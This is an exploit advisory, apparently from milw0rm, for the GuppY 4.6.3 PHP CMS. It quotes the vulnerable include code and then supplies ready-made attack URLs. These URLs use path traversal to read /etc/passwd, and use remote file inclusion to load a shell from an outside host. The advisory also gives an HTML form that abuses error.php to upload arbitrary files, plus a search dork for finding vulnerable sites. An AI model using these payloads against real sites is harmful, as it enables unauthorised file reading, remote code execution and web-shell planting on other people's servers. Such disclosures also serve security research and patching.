78 lines
No EOL
2.3 KiB
Text
78 lines
No EOL
2.3 KiB
Text
vuln.: GuppY 4.6.3 (includes.inc selskin) Remote File Inclusion
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script info and download: http://www.freeguppy.org/
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dork: "Site powered by GuppY"
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author: irk4z[at]yahoo.pl
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greets to: str0ke, rgod, polish under :*
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'-----------------------------------------------------------------------------'
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# code:
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/tinymsg.php, line 24:
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...
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24 define("CHEMIN", "");
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...
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/inc/includes.inc, lines 155-168:
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...
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155 if (isset($selskin)) {
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156 $page[14]=$selskin;
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157 }
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158
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159 if (is_file(CHEMIN."skin/".$page[14]."/skin".INCEXT)) {
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160 include(CHEMIN."skin/".$page[14]."/skin".INCEXT);
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161 } else {
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162 include(CHEMIN."skin/no_skin/skin".INCEXT);
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163 }
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164 if (is_file(CHEMIN."skin/".$page[14]."/confskin".INCEXT)) {
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165 include(CHEMIN."skin/".$page[14]."/confskin".INCEXT);
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166 } else {
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167 include(CHEMIN."skin/no_skin/confskin".INCEXT);
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168 }
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...
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Local file inclusion on line 160 in $selskin, and I have used code
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from:
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/inc/boxleft.inc, lines 98-102:
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...
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98 for($ii=0; $ii<count($xposbox["L"]); $ii++) {
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99 if ($userprefs[3] != "R" && $xposbox["L"][$ii] != '') {
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100 include(CHEMIN.$xposbox["L"][$ii].INCEXT);
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101 $onemenu = 1;
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102 }
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...
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so.. i have remote file inclusion :D
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# exploits:
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local file inclusion:
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http://[HOST]/[PATH]/index.php?selskin=[LFI]%00
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http://[HOST]/[PATH]/index.php?selskin=..%2F..%2F..%2F..%2F.%2Fetc%2Fpasswd%00
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remote file inclusion:
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http://[HOST]/[PATH]/index.php?selskin=..%2Finc%2Fboxleft.inc%00&xposbox[L][]=[RFI]
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http://[HOST]/[PATH]/index.php?selskin=..%2Finc%2Fboxleft.inc%00&xposbox[L][]=http:%2F%2Fhost%2Fshell?
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^ xposbox[L][] and selskin must be encode because GuppY filtering query..
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# another bug:
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rgod on 2007-01-29 published local file inclusion in error.php $id variable,
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but GuppY authors didn't patch it :( so you can upload file to
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http://[HOST]/[PATH]/file/[your uploaded file]
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<form name="uploadit" enctype="multipart/form-data" method="post" action="http://[HOST]/[PATH]/error.php?">
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<input type="hidden" name="id" value="../../admin/inc/upload" alt="don't change! ;]" />
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<input type="hidden" name="pg" value="upload" />
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<input type="hidden" name="rep" value="file" />
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<input type="file" name="ficup" size="36" />
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<input type="hidden" name="OK" value="1" />
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<input type="submit" value=" ok " />
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</form>
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# milw0rm.com [2007-11-03] |